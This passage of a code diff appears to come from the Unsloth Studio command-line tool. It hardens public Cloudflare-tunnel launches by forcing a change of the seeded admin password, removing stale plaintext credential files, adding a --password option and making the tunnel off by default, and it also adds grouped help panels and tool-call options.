+    for stale in (BOOTSTRAP_PASSWORD_FILE, DESKTOP_SECRET_FILE):
+        stale_path = STUDIO_HOME / "auth" / stale
+        try:
+            stale_path.unlink(missing_ok = True)
+        except OSError as exc:
+            # The hash is already committed, so a failed unlink must NOT roll the
+            # change back. But a locked-yet-writable file (Windows AV, read-only
+            # auth dir) must be truncated: otherwise its stale plaintext survives
+            # and generate_bootstrap_password() would re-validate this revoked
+            # credential after a later reset-password deletes auth.db. Mirrors
+            # backend clear_bootstrap_password().
+            try:
+                stale_path.write_text("")
+                cleared = True
+            except OSError:
+                cleared = False
+            if cleared:
+                typer.echo(
+                    f"Warning: could not remove stale {stale} file ({exc}); cleared its "
+                    "contents so the old credential cannot be reused.",
+                    err = True,
+                )
+            else:
+                typer.echo(
+                    f"Warning: could not remove or clear stale {stale} file ({exc}); the "
+                    "old credential is still on disk. Remove it manually to prevent reuse "
+                    "after a reset.",
+                    err = True,
+                )
+
+
+def _apply_supplied_password_before_launch(supplied_password: "str | None") -> None:
+    """Non-interactively set the INITIAL admin password (from --password /
+    UNSLOTH_STUDIO_PASSWORD / stdin) before the server binds, while the account
+    still has its auto-generated bootstrap password.
+
+    Only ever sets the FIRST password: an already-set one is a hard error (an
+    override would be an auth bypass on a public launch), and an invalid value
+    fails closed. Runs in the parent before any re-exec so the secret never
+    crosses to the child argv.
+    """
+    if not supplied_password:
+        return
+    try:
+        conn = _connect_auth_db()
+    except (OSError, sqlite3.Error) as exc:
+        typer.echo(
+            f"Error: --password could not open the Unsloth auth database ({exc}); not starting.",
+            err = True,
+        )
+        raise typer.Exit(1)
+    try:
+        _ensure_cli_default_admin(conn)
+        conn.commit()
+        row = conn.execute(
+            "SELECT password_salt, password_hash, must_change_password "
+            "FROM auth_user WHERE username = ?",
+            (DEFAULT_ADMIN_USERNAME,),
+        ).fetchone()
+        if not row:
+            typer.echo(
+                "Error: --password could not initialize the admin account; not starting.",
+                err = True,
+            )
+            raise typer.Exit(1)
+        if not row[2]:
+            typer.echo(
+                "Error: an Unsloth admin password is already set; --password only sets "
+                "the initial password. Run `unsloth studio reset-password` first "
+                "(or change it in the UI).",
+                err = True,
+            )
+            raise typer.Exit(1)
+        password_salt, password_hash = row[0], row[1]
+
+        def _is_current_password(candidate: str) -> bool:
+            return hmac.compare_digest(
+                _pbkdf2_hex(candidate, password_salt.encode("utf-8")), password_hash
+            )
+
+        problem = _password_prompt.validate_new_password(supplied_password, _is_current_password)
+        if problem is not None:
+            typer.echo(f"Error: {problem} Not starting.", err = True)
+            raise typer.Exit(1)
+        _cli_update_password(conn, DEFAULT_ADMIN_USERNAME, supplied_password)
+        typer.echo(f"Password updated for '{DEFAULT_ADMIN_USERNAME}'.", err = True)
+    except (OSError, sqlite3.Error) as exc:
+        # Any DB failure fails closed (typer.Exit is not caught here, so the
+        # deliberate Exit(1) branches above propagate unchanged).
+        typer.echo(
+            f"Error: --password could not update the Unsloth auth database ({exc}); not starting.",
+            err = True,
+        )
+        raise typer.Exit(1)
+    finally:
+        conn.close()
+
+
+def _strip_seeded_bootstrap_password_or_exit(*, context: str) -> None:
+    """Remove the seeded plaintext bootstrap password before a public re-exec.
+
+    Version-independent protection: a re-exec'd child of ANY version (including an
+    old studio-venv predating the pre-bind gate) then reads None instead of
+    injecting the default credential into the public page. must_change_password
+    stays set, so the login page still forces a change and the timer still arms.
+    Removal IS the protection, so if it fails (locked file, read-only auth dir)
+    fail closed rather than publish it.
+    """
+    bootstrap_file = STUDIO_HOME / "auth" / BOOTSTRAP_PASSWORD_FILE
+    try:
+        bootstrap_file.unlink(missing_ok = True)
+    except OSError as exc:
+        typer.echo(
+            "Error: refusing to publish Unsloth on a public Cloudflare URL: "
+            f"could not remove the seeded bootstrap password file ({exc}), so an "
+            f"older Unsloth child could still serve the default credential ({context}). "
+            "Delete it manually or change the admin password (run `unsloth studio` "
+            "locally with a terminal attached, or `unsloth studio reset-password`), "
+            "then retry.",
+            err = True,
+        )
+        raise typer.Exit(1)
+
+
+def _require_servable_frontend_or_exit(
+    *, frontend: Optional[Path], api_only: bool, cloudflare: Optional[bool], host: str, secure: bool
+) -> Optional[Path]:
+    """Fail closed BEFORE the pre-exposure gate if a public UI launch has no
+    login page to change the seeded password.
+
+    The gate strips the seeded .bootstrap_password on a headless public launch,
+    so if the child then cannot serve the login page the admin is locked out
+    (must_change_password=1, no file, no UI) until `unsloth studio reset-password`.
+    The login page is the ONLY in-band way to change the seeded password, so a
+    public non-api-only launch must have a servable dist before the strip.
+
+    Returns the dist to serve: a user-supplied --frontend (validated to contain
+    index.html) or the auto-resolved built dist. Returns `frontend` unchanged for
+    non-public or --api-only launches (no login page needed).
+    """
+    if api_only or not _should_prompt_password_change(
+        cloudflare = cloudflare, host = host, secure = secure, api_only = api_only
+    ):
+        return frontend
+    if frontend is not None:
+        # A user-supplied dist is not vetted by _find_frontend_dist, so verify it
+        # can serve the login page; else `--frontend /bad/path` bypasses the guard.
+        if (Path(frontend) / "index.html").is_file():
+            return frontend
+        typer.echo(
+            "Error: --frontend points at a directory with no index.html, so a "
+            "public Unsloth launch would have no login page to change the seeded "
+            "admin password. Point --frontend at a built dist, rebuild it (re-run "
+            "install.sh), or use --api-only.",
+            err = True,
+        )
+        raise typer.Exit(1)
+    # _find_frontend_dist only returns a path that already contains index.html.
+    resolved = _find_frontend_dist()
+    if resolved is not None:
+        return resolved
+    typer.echo(
+        "Error: the Unsloth frontend is not built, so a public launch would have "
+        "no login page to change the seeded admin password. Build it (re-run "
+        "install.sh), pass --frontend PATH to a built dist, or use --api-only.",
+        err = True,
+    )
+    raise typer.Exit(1)
+
+
+def _validate_inproc_backend_before_strip(
+    *, cloudflare: Optional[bool], host: str, secure: bool, api_only: bool
+) -> None:
+    """In-venv (in-process) analogue of the re-exec launcher check.
+
+    In-venv there is no re-exec, so the backend is imported in-process only AFTER
+    the gate. On the headless public path the gate strips the seeded
+    .bootstrap_password, so a broken venv that fails at import would leave
+    must_change_password=1 with no password to log in. Import the backend up front
+    on that path and exit cleanly if broken, before anything is stripped.
+    Headless-only so an interactive prompt is not delayed behind the import.
+    """
+    if not _should_prompt_password_change(
+        cloudflare = cloudflare, host = host, secure = secure, api_only = api_only
+    ):
+        return
+    if _prompt_streams_interactive():
+        return
+    try:
+        _load_run_module()
+    except Exception as exc:
+        typer.echo(
+            f"Error: the Unsloth backend could not be loaded ({exc}); refusing to "
+            "expose Unsloth publicly before it is confirmed runnable. Re-run: "
+            "unsloth studio setup",
+            err = True,
+        )
+        raise typer.Exit(1)
+
+
+def _tunnel_binary_confirmed_unavailable() -> bool:
+    """True only if cloudflared is provably unavailable (found nowhere on PATH or
+    in the Unsloth cache AND the download failed), so the tunnel cannot start.
+
+    Used on the --secure path (loopback bind, so the tunnel is the ONLY public
+    exposure) to skip stripping the seeded recovery password before a public URL
+    that will never come up. Loads the stdlib-only cloudflare_tunnel helper by
+    file path so the check runs in the parent, before the strip.
+
+    Returns False on ANY uncertainty: a possible credential leak outweighs a
+    recoverable lockout, so the caller keeps the strip unless the tunnel is
+    provably dead.
+    """
+    run_py = _find_run_py()
+    if run_py is None:
+        return False
+    backend_dir = run_py.parent
+    tunnel_py = backend_dir / "cloudflare_tunnel.py"
+    if not tunnel_py.is_file():
+        return False
+    # ensure_cloudflared() lazily imports utils.paths.storage_roots to resolve the
+    # Unsloth bin cache. The outer CLI hasn't added studio/backend to sys.path yet,
+    # so that import would fail and return None (a false "unavailable" that wrongly
+    # refuses --secure). Add the backend dir so the cache path resolves as in the child.
+    added_backend_path = False
+    try:
+        if str(backend_dir) not in sys.path:
+            sys.path.insert(0, str(backend_dir))
+            added_backend_path = True
+        spec = importlib.util.spec_from_file_location("studio.backend.cloudflare_tunnel", tunnel_py)
+        if spec is None or spec.loader is None:
+            return False
+        module = importlib.util.module_from_spec(spec)
+        spec.loader.exec_module(module)
+        return module.ensure_cloudflared() is None
+    except Exception:
+        return False
+    finally:
+        if added_backend_path:
+            try:
+                sys.path.remove(str(backend_dir))
+            except ValueError:
+                pass
+
+
+def _child_self_suppresses(*, in_studio_venv: bool, child_run_py: Optional[Path]) -> bool:
+    """True when the child that will serve Unsloth is provably THIS install's
+    backend, whose pre-bind gate sets app.state.suppress_bootstrap_injection and
+    so never serves the seeded credential publicly -- even with .bootstrap_password
+    on disk. The parent-side strip is then unnecessary and can be skipped to avoid
+    a lockout if the tunnel never comes up, keeping the file for LOCAL recovery.
+
+    True iff we run in-process here, or the re-exec target is the outer install's
+    own run.py (identity match). False on ANY doubt -- a studio-venv console script
+    or a venv run.py that may predate the gate -- so the strip stays in force
+    wherever an old child is possible.
+    """
+    if in_studio_venv:
+        return True
+    if child_run_py is None:
+        return False
+    try:
+        outer_run_py = (_PACKAGE_ROOT / "studio" / "backend" / "run.py").resolve()
+        return child_run_py.resolve() == outer_run_py
+    except OSError:
+        return False
+
+
+def _enforce_password_change_before_exposure(
+    *,
+    cloudflare: Optional[bool],
+    host: str,
+    secure: bool,
+    api_only: bool,
+    child_self_suppresses: bool = False,
+) -> None:
+    """Force a terminal password change before the first public (tunnel) exposure.
+
+    When the launch will start the tunnel and the admin still has its
+    auto-generated bootstrap password, ask for a new one in the terminal (masked,
+    confirmed) before any server or tunnel exists. Committing here, in the parent,
+    keeps the password off argv/env and an older studio-venv child sees it
+    immediately. Without a terminal, warn and fall back to the bootstrap shutdown
+    timer (~1h, UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT).
+    """
+    if not _should_prompt_password_change(
+        cloudflare = cloudflare, host = host, secure = secure, api_only = api_only
+    ):
+        return
+    # Before public exposure we must PROVE the admin password is no longer the
+    # seeded default. If we cannot (auth DB won't open, or a fresh admin cannot be
+    # seeded + committed below), an old studio-venv child could regenerate a fresh
+    # bootstrap credential and serve it; stripping a file we can't vouch for cannot
+    # stop a regeneration. So those cases fail closed, as does a failure after the
+    # user typed a new password.
+    try:
+        conn = _connect_auth_db()
+    except (OSError, sqlite3.Error) as exc:
+        # Cannot open the auth DB, so cannot confirm a committed admin exists.
+        # Refuse rather than risk a child serving the default login; a transient
+        # lock clears on retry.
+        typer.echo(
+            "Error: refusing to publish Unsloth on a public Cloudflare URL: could "
+            f"not open the Unsloth auth database ({exc}) to confirm the admin "
+            "password was changed. Retry (a transient database lock clears), or "
+            "change the password first (run `unsloth studio` locally with a "
+            "terminal attached, or `unsloth studio reset-password`).",
+            err = True,
+        )
+        raise typer.Exit(1)
+    try:
+        try:
+            _ensure_cli_default_admin(conn)
+            # Persist a freshly seeded admin before we might re-exec: the INSERT is
+            # otherwise uncommitted and rolls back on conn.close(). If the seed or
+            # commit fails, no admin is committed, so a re-exec'd OLD child finds
+            # none, regenerates a fresh bootstrap password + file, and serves THAT
+            # -- stripping cannot stop a regeneration. Can't prove a committed
+            # admin, so fail closed.
+            conn.commit()
+        except (OSError, sqlite3.Error) as exc:
+            # Best-effort remove any half-written seed file (its row rolled back);
+            # the launch is refused regardless.
+            try:
+                (STUDIO_HOME / "auth" / BOOTSTRAP_PASSWORD_FILE).unlink(missing_ok = True)
+            except OSError:
+                pass
+            typer.echo(
+                "Error: refusing to publish Unsloth on a public Cloudflare URL: could "
+                f"not initialize the admin account ({exc}), so a re-exec'd Unsloth "
+                "child could regenerate and serve a default credential. Retry (a "
+                "transient database lock clears), or change the password first (run "
+                "`unsloth studio` locally with a terminal attached, or `unsloth "
+                "studio reset-password`).",
+                err = True,
+            )
+            raise typer.Exit(1)
+        try:
+            row = conn.execute(
+                "SELECT password_salt, password_hash, must_change_password "
+                "FROM auth_user WHERE username = ?",
+                (DEFAULT_ADMIN_USERNAME,),
+            ).fetchone()
+        except (OSError, sqlite3.Error) as exc:
+            if child_self_suppresses:
+                # Could not read must_change back, but the child is this install's
+                # own backend and suppresses the injection, so nothing serves the
+                # seeded credential; proceed without stripping.
+                return
+            # The admin is committed above, so an old child finds it and won't
+            # regenerate; we just couldn't read must_change back. Strip the seeded
+            # file so nothing serves it, failing closed if the strip itself fails.
+            typer.echo(
+                f"Warning: could not read the Unsloth admin state back ({exc}); "
+                "removing the seeded bootstrap password before public exposure.",
+                err = True,
+            )
+            _strip_seeded_bootstrap_password_or_exit(context = "auth DB row unreadable")
+            return
+        if not row or not row[2]:
+            return
+        if not _prompt_streams_interactive():
+            # Only proceed headless if the bootstrap shutdown deadline will protect
+            # the launch: it never arms for api-only, and TIMEOUT=0 disables it.
+            if api_only or not _bootstrap_deadline_active():
+                typer.echo(
+                    "Error: refusing to publish Unsloth on a public Cloudflare "
+                    "URL: the default admin password was never changed, no "
+                    "terminal is attached to change it here, and the bootstrap "
+                    "shutdown deadline does not apply to this launch (api-only, "
+                    "or UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT=0). Change the "
+                    "password first (run `unsloth studio` locally and log in, "
+                    "or re-run with a terminal attached), then retry.",
+                    err = True,
+                )
+                raise typer.Exit(1)
+            if child_self_suppresses:
+                # The child is this install's own backend, whose pre-bind gate sets
+                # app.state.suppress_bootstrap_injection, so the seeded credential
+                # is never served publicly even with the file on disk. Skip the
+                # strip: unnecessary here, and it would lock the user out if the
+                # tunnel never comes up (e.g. a --secure loopback whose tunnel
+                # fails). Keep the file for LOCAL recovery; must_change stays set
+                # and the deadline arms.
+                typer.echo(
+                    "Warning: Unsloth is being exposed publicly while the admin "
+                    "account still uses its auto-generated bootstrap password. The "
+                    "login page forces a change and the credential is never served "
+                    "on the public page. Set a new password by running `unsloth "
+                    "studio` locally with a terminal attached, or `unsloth studio "
+                    "reset-password`; Unsloth shuts down after ~1h if the password "
+                    "stays unchanged (UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT).",
+                    err = True,
+                )
+                return
+            # The strip permanently removes the only plaintext recovery credential.
+            # On --secure the bind is loopback, so the tunnel is the ONLY public
+            # exposure: if cloudflared is provably unavailable no public URL can
+            # start, so stripping would just lock the user out. Refuse with the
+            # credential preserved. (A wildcard --cloudflare bind is public
+            # regardless of the tunnel, so it still strips below, as does any
+            # uncertainty.)
+            if secure and _tunnel_binary_confirmed_unavailable():
+                typer.echo(
+                    "Error: refusing to expose Unsloth: the Cloudflare tunnel binary "
+                    "(cloudflared) is unavailable and could not be downloaded, so no "
+                    "public URL can start. The seeded bootstrap password is preserved "
+                    "for recovery; fix connectivity and retry, or change the password "
+                    "first (`unsloth studio` locally, or `unsloth studio "
+                    "reset-password`).",
+                    err = True,
+                )
+                raise typer.Exit(1)
+            # Mixed-version safety: an OLD studio-venv child (predating this gate)
+            # has no pre-bind suppression and would read the seeded credential back
+            # from disk and inject it into the public HTML until the deadline.
+            # Delete the file here, in the parent, so a fresh child of ANY version
+            # reads None. must_change_password stays set, so the login page still
+            # forces a change and the timer still arms; only the on-disk copy goes.
+            _strip_seeded_bootstrap_password_or_exit(context = "no terminal to change it")
+            typer.echo(
+                "Warning: Unsloth is being exposed publicly while the admin account "
+                "still uses its auto-generated bootstrap password. The seeded password "
+                "file has been removed so it is not served on the public page. Set a new "
+                "password by running `unsloth studio` locally with a terminal attached, "
+                "or `unsloth studio reset-password`; Unsloth shuts down after ~1h if the "
+                "password stays unchanged (UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT).",
+                err = True,
+            )
+            return
+        password_salt, password_hash = row[0], row[1]
+
+        def _is_current_password(candidate: str) -> bool:
+            return hmac.compare_digest(
+                _pbkdf2_hex(candidate, password_salt.encode("utf-8")), password_hash
+            )
+
+        typer.echo(
+            "Unsloth Studio will be exposed on the public internet, so set a "
+            "password now. Ctrl+C to abort.",
+            err = True,
+        )
+        try:
+            new_password = _password_prompt.prompt_new_password(_is_current_password)
+        except (KeyboardInterrupt, EOFError):
+            typer.echo(
+                "\nError: password change aborted; refusing to expose Unsloth "
+                "with the default admin password. Re-run and set a password, "
+                "or launch without --secure/--cloudflare.",
+                err = True,
+            )
+            raise typer.Exit(1)
+        _cli_update_password(conn, DEFAULT_ADMIN_USERNAME, new_password)
+        typer.echo(f"Password updated for '{DEFAULT_ADMIN_USERNAME}'.", err = True)
+    finally:
+        conn.close()
+
+
 def _load_model_via_http(
     port: int,
     api_key: str,
@@ -713,13 +1251,13 @@ def studio_default(
             f"defaults to {_PARALLEL_DEFAULT_RUN}."
         ),
     ),
-    cloudflare: bool = typer.Option(
-        True,
+    cloudflare: Optional[bool] = typer.Option(
+        None,
         "--cloudflare/--no-cloudflare",
-        help = "Auto-create a free Cloudflare HTTPS tunnel for non-api-only wildcard "
-        "binds (0.0.0.0 or ::), exposing Studio on a PUBLIC internet URL (default on). "
-        "Pass --no-cloudflare to disable that Cloudflare URL; it does not change a "
-        "public wildcard bind. --api-only keeps it off unless paired with --secure.",
+        help = "Expose Unsloth on a PUBLIC internet URL via a free Cloudflare HTTPS "
+        "tunnel, for non-api-only wildcard binds (0.0.0.0 or ::). Off by default; "
+        "pass --cloudflare to enable it (--secure implies it). --no-cloudflare forces "
+        "it off but does not change a raw wildcard bind.",
     ),
     secure: bool = typer.Option(
         False,
@@ -747,6 +1285,14 @@ def studio_default(
         help = "Force server-side tools (web search, code execution) on or off for "
         "every request. Default: on for every bind, with the per-chat UI toggle honored.",
     ),
+    password: str = typer.Option(
+        "",
+        "--password",
+        help = "Set the INITIAL admin password non-interactively (headless setups), "
+        "only when none is set yet. Also reads the UNSLOTH_STUDIO_PASSWORD env var, or "
+        "`--password -` to read one line from stdin. A literal value is visible in the "
+        "process list and shell history. Rotate later with `unsloth studio reset-password`.",
+    ),
 ):
     """Launch the Unsloth Studio server."""
     # Back-compat: --not-secure is a deprecated alias for --no-secure.
@@ -766,13 +1312,14 @@ def studio_default(
                 err = True,
             )
             raise typer.Exit(2)
-        # Same for --no-cloudflare: it would not reach the subcommand.
-        if not cloudflare:
+        # Same for --cloudflare/--no-cloudflare: it would not reach the subcommand.
+        if cloudflare is not None:
+            _cf_flag = "--cloudflare" if cloudflare else "--no-cloudflare"
             typer.echo(
-                f"Error: --no-cloudflare on `unsloth studio` applies to the "
+                f"Error: {_cf_flag} on `unsloth studio` applies to the "
                 f"plain-server path only. For `unsloth studio "
                 f"{ctx.invoked_subcommand}`, put it after the subcommand: "
-                f"`unsloth studio {ctx.invoked_subcommand} --no-cloudflare ...`",
+                f"`unsloth studio {ctx.invoked_subcommand} {_cf_flag} ...`",
                 err = True,
             )
             raise typer.Exit(2)
@@ -817,17 +1364,34 @@ def studio_default(
                 err = True,
             )
             raise typer.Exit(2)
+        # Same for --password: it applies to the plain-server path only.
+        if password:
+            typer.echo(
+                f"Error: --password on `unsloth studio` applies to the "
+                f"plain-server path only. For `unsloth studio "
+                f"{ctx.invoked_subcommand}`, put it after the subcommand: "
+                f"`unsloth studio {ctx.invoked_subcommand} --password ...`",
+                err = True,
+            )
+            raise typer.Exit(2)
         return
 
     # --secure requires the tunnel; force a loopback bind.
     if secure:
-        if not cloudflare:
+        if cloudflare is False:
             typer.echo(
                 "Error: --secure requires the Cloudflare tunnel; do not combine it "
                 "with --no-cloudflare.",
                 err = True,
             )
             raise typer.Exit(2)
+        if host not in ("127.0.0.1", "localhost", "::1"):
+            typer.echo(
+                "Note: --secure ignores -H (it binds loopback and serves only "
+                "through the Cloudflare tunnel). Drop --secure to bind "
+                f"{host} directly, or keep --secure for a tunnel-only public link.",
+                err = True,
+            )
         host = "127.0.0.1"
 
     # --verbose restores the per-request access logs that are suppressed by
@@ -835,13 +1399,76 @@ def studio_default(
     if verbose:
         _enable_verbose_access_logs()
 
-    # Use the studio venv if it exists and we aren't already in it.
+    # Use the studio venv if present and not already in it. Resolve the child
+    # launcher BEFORE the gate: a headless gate strips the seeded
+    # .bootstrap_password, so aborting afterward (venv/run.py missing) would leave
+    # must_change_password=1 with no password to log in.
     studio_venv_dir = STUDIO_HOME / "unsloth_studio"
     in_studio_venv = sys.prefix.startswith(str(studio_venv_dir))
-
+    studio_python = run_py = None
+    resolved_frontend = frontend
     if not in_studio_venv:
         studio_python = _studio_venv_python()
         run_py = _find_run_py()
+        if not (studio_python and run_py):
+            typer.echo("Unsloth Studio not set up. Run install.sh first.")
+            raise typer.Exit(1)
+        # A public UI launch must have a servable login page BEFORE the gate can
+        # strip the seeded .bootstrap_password, or the child has no way to change
+        # it. Also returns the resolved dist so the child serves a real build
+        # regardless of where its __file__ lands (fixes the shadowed silent 404).
+        resolved_frontend = _require_servable_frontend_or_exit(
+            frontend = resolved_frontend,
+            api_only = api_only,
+            cloudflare = cloudflare,
+            host = host,
+            secure = secure,
+        )
+        # Non-public / api-only launches skip that validation but still forward an
+        # explicitly resolved dist for the same silent-404 reason.
+        if resolved_frontend is None and not api_only:
+            resolved_frontend = _find_frontend_dist()
+    else:
+        # Already in the studio venv: no re-exec, served in-process below. On the
+        # headless public path the gate strips the seeded .bootstrap_password, so
+        # validate BOTH FIRST -- else a bad dist or broken venv fails only after
+        # the strip (must_change_password=1, no password to log in). Frontend check
+        # first (cheap); the backend import is headless-only so an interactive
+        # prompt is not delayed behind it.
+        resolved_frontend = _require_servable_frontend_or_exit(
+            frontend = resolved_frontend,
+            api_only = api_only,
+            cloudflare = cloudflare,
+            host = host,
+            secure = secure,
+        )
+        _validate_inproc_backend_before_strip(
+            cloudflare = cloudflare, host = host, secure = secure, api_only = api_only
+        )
+
+    # A supplied --password / UNSLOTH_STUDIO_PASSWORD / stdin sets the initial
+    # admin password here in the parent, before the gate and any re-exec, so the
+    # secret never reaches the child argv; strip the env var so a re-exec'd child
+    # can't re-read it. The interactive gate below then no-ops.
+    _apply_supplied_password_before_launch(_password_prompt.resolve_supplied_password(password))
+    os.environ.pop(_password_prompt.SUPPLIED_PASSWORD_ENV, None)
+
+    # Public (tunnel) exposure with the seeded default password: force a terminal
+    # password change first, before any re-exec or server exists. The child is
+    # self-suppressing when we serve in-process or re-exec this install's own
+    # run.py (its pre-bind gate suppresses the injection), so the gate can skip
+    # the destructive strip.
+    _enforce_password_change_before_exposure(
+        cloudflare = cloudflare,
+        host = host,
+        secure = secure,
+        api_only = api_only,
+        child_self_suppresses = _child_self_suppresses(
+            in_studio_venv = in_studio_venv, child_run_py = run_py
+        ),
+    )
+
+    if not in_studio_venv:
         if studio_python and run_py:
             if not silent:
                 typer.echo("Launching Unsloth Studio... Please wait...")
@@ -855,20 +1482,22 @@ def studio_default(
                 "--parallel",
                 str(parallel),
             ]
-            # Resolve frontend explicitly so the spawned run.py uses a real
-            # built dist regardless of where its __file__ lands. Skip in
-            # --api-only (no UI served).
-            resolved_frontend = frontend
-            if resolved_frontend is None and not api_only:
-                resolved_frontend = _find_frontend_dist()
+            # Forward the frontend dist resolved before the gate (skipped in
+            # --api-only, which serves no UI).
             if resolved_frontend is not None:
                 args.extend(["--frontend", str(resolved_frontend)])
             if silent:
                 args.append("--silent")
             if api_only:
                 args.append("--api-only")
-            # Forward the explicit polarity (matches run.py's BooleanOptionalAction).
-            args.append("--cloudflare" if cloudflare else "--no-cloudflare")
+            # Forward polarity explicitly: _find_run_py can fall back to an older
+            # run.py (--cloudflare defaulted on), so an unset default must not let a
+            # mixed install silently re-enable the tunnel. --secure implies it, so
+            # forward nothing then.
+            if cloudflare is True:
+                args.append("--cloudflare")
+            elif not secure:
+                args.append("--no-cloudflare")
             args.append("--secure" if secure else "--no-secure")
             # Forward an explicit tool policy; None -> run.py leaves it unset (tools on).
             if enable_tools is True:
@@ -888,7 +1517,7 @@ def studio_default(
                     rc = proc.wait()
                 if rc != 0:
                     typer.echo(
-                        f"\nError: Studio server exited unexpectedly (code {rc}).",
+                        f"\nError: Unsloth server exited unexpectedly (code {rc}).",
                         err = True,
                     )
                     typer.echo(
@@ -900,7 +1529,7 @@ def studio_default(
             else:
                 os.execvp(str(studio_python), args)
         else:
-            typer.echo("Studio not set up. Run install.sh first.")
+            typer.echo("Unsloth Studio not set up. Run install.sh first.")
             raise typer.Exit(1)
 
     run_mod = _load_run_module()
@@ -920,8 +1549,10 @@ def studio_default(
         secure = secure,
         enable_tools = enable_tools,
     )
-    if frontend is not None:
-        run_kwargs["frontend_path"] = frontend
+    # Forward the frontend validated before the gate (in-venv path), so the
+    # in-process server serves exactly the dist we vouched for.
+    if resolved_frontend is not None:
+        run_kwargs["frontend_path"] = resolved_frontend
     run_server(**run_kwargs)
 
     try:
@@ -1026,6 +1657,13 @@ def _consume_legacy_short_aliases(
     return value, out
 
 
+# Help panels so `unsloth run --help` groups options instead of one long list.
+_RUN_PANEL_MODEL = "Model"
+_RUN_PANEL_SERVER = "Server & network"
+_RUN_PANEL_TOOLS = "Tool calls"
+_RUN_PANEL_ADVANCED = "Advanced"
+
+
 @studio_app.command(
     context_settings = {
         "allow_extra_args": True,
@@ -1042,6 +1680,7 @@ def run(
         # `-m` / `-hfr` removed (Click would cluster `-mg`/`-md`/...).
         # Exact-match `-m`/`-hfr` still work via the legacy shim below.
         # `-hf` stays (multi-char shorts don't cluster).
+        rich_help_panel = _RUN_PANEL_MODEL,
         help = (
             "Model path or HF repo. Accepts llama.cpp-style "
             "`org/repo:variant` syntax. `-hf` / `--hf-repo` match "
@@ -1049,12 +1688,16 @@ def run(
         ),
     ),
     gguf_variant: Optional[str] = typer.Option(
-        None, "--gguf-variant", help = "GGUF quant variant (e.g. UD-Q4_K_XL)"
+        None,
+        "--gguf-variant",
+        rich_help_panel = _RUN_PANEL_MODEL,
+        help = "GGUF quant variant (e.g. UD-Q4_K_XL)",
     ),
     verbose: bool = typer.Option(
         False,
         "--verbose",
         "-v",
+        rich_help_panel = _RUN_PANEL_ADVANCED,
         help = "Log every API request, including the high-frequency polling that is "
         "deduplicated by default.",
     ),
@@ -1062,35 +1705,64 @@ def run(
         0,
         "--max-seq-length",
         "--context-length",
+        rich_help_panel = _RUN_PANEL_MODEL,
         help = "Runtime context length in tokens (0 = model default for GGUF; 2048 for hub models)",
     ),
-    load_in_4bit: bool = typer.Option(True, "--load-in-4bit/--no-load-in-4bit"),
-    api_key_name: str = typer.Option(
-        "cli", "--api-key-name", help = "Label for the auto-generated API key"
+    load_in_4bit: bool = typer.Option(
+        True, "--load-in-4bit/--no-load-in-4bit", rich_help_panel = _RUN_PANEL_MODEL
     ),
-    port: int = typer.Option(8888, "--port", "-p"),
-    host: str = typer.Option("127.0.0.1", "--host", "-H"),
+    api_key_name: str = typer.Option(
+        "cli",
+        "--api-key-name",
+        rich_help_panel = _RUN_PANEL_ADVANCED,
+        help = "Label for the auto-generated API key",
+    ),
+    port: int = typer.Option(8888, "--port", "-p", rich_help_panel = _RUN_PANEL_SERVER),
+    host: str = typer.Option("127.0.0.1", "--host", "-H", rich_help_panel = _RUN_PANEL_SERVER),
     # `-f` removed (clustered `-fa`/`-fit*`); studio_default keeps it.
-    frontend: Optional[Path] = typer.Option(None, "--frontend"),
+    frontend: Optional[Path] = typer.Option(None, "--frontend", rich_help_panel = _RUN_PANEL_SERVER),
     api_only: bool = typer.Option(
         False,
         "--api-only",
+        rich_help_panel = _RUN_PANEL_SERVER,
         help = "Serve only the API (no web UI), for a headless model server. "
         "Pairs with --secure to expose the API over the Cloudflare link alone.",
     ),
-    silent: bool = typer.Option(False, "--silent", "-q"),
+    silent: bool = typer.Option(False, "--silent", "-q", rich_help_panel = _RUN_PANEL_ADVANCED),
     enable_tools: Optional[bool] = typer.Option(
         None,
         "--enable-tools/--disable-tools",
+        rich_help_panel = _RUN_PANEL_TOOLS,
         help = (
             "Force server-side tools (web search, code execution) on or off for "
             "every request. Default: on for every bind."
         ),
     ),
+    tool_call_healing: Optional[bool] = typer.Option(
+        None,
+        "--enable-tool-call-healing/--disable-tool-call-healing",
+        rich_help_panel = _RUN_PANEL_TOOLS,
+        help = (
+            "Promote text-form tool calls (small GGUFs often emit <tool_call>...) "
+            "back into structured calls on the client-tool passthrough. Default: on. "
+            "An explicit --disable-tool-call-healing is an absolute server kill-switch."
+        ),
+    ),
+    tool_call_nudging: Optional[bool] = typer.Option(
+        None,
+        "--enable-tool-call-nudging/--disable-tool-call-nudging",
+        rich_help_panel = _RUN_PANEL_TOOLS,
+        help = (
+            "On the non-streaming client-tool passthrough, retry once with a short "
+            "nudge when the model emitted a tool signal that healing could not repair. "
+            "Default: on. No effect on streaming requests or the server-side agentic loop."
+        ),
+    ),
     yes: bool = typer.Option(
         False,
         "--yes",
         "-y",
+        rich_help_panel = _RUN_PANEL_ADVANCED,
         help = "Accepted for backward compatibility; the tool policy no longer prompts.",
     ),
     parallel: int = typer.Option(
@@ -1100,23 +1772,26 @@ def run(
         "-np",
         min = _PARALLEL_MIN,
         max = _PARALLEL_MAX,
+        rich_help_panel = _RUN_PANEL_SERVER,
         help = (
             "llama-server parallel decode slots. N requests share one "
             "loaded model; each slot gets ctx/N KV cache. Default "
             f"{_PARALLEL_DEFAULT_RUN} (pre-PR hardcoded value)."
         ),
     ),
-    cloudflare: bool = typer.Option(
-        True,
+    cloudflare: Optional[bool] = typer.Option(
+        None,
         "--cloudflare/--no-cloudflare",
-        help = "Auto-create a free Cloudflare HTTPS tunnel for non-api-only wildcard "
-        "binds (0.0.0.0 or ::), exposing Studio on a PUBLIC internet URL (default on). "
-        "Pass --no-cloudflare to disable that Cloudflare URL; it does not change a "
-        "public wildcard bind. --api-only keeps it off unless paired with --secure.",
+        rich_help_panel = _RUN_PANEL_SERVER,
+        help = "Expose Unsloth on a PUBLIC internet URL via a free Cloudflare HTTPS "
+        "tunnel, for non-api-only wildcard binds (0.0.0.0 or ::). Off by default; "
+        "pass --cloudflare to enable it (--secure implies it). --no-cloudflare forces "
+        "it off but does not change a raw wildcard bind.",
     ),
     secure: bool = typer.Option(
         False,
         "--secure/--no-secure",
+        rich_help_panel = _RUN_PANEL_SERVER,
         help = "Expose ONLY a Cloudflare HTTPS link: bind localhost and fail closed "
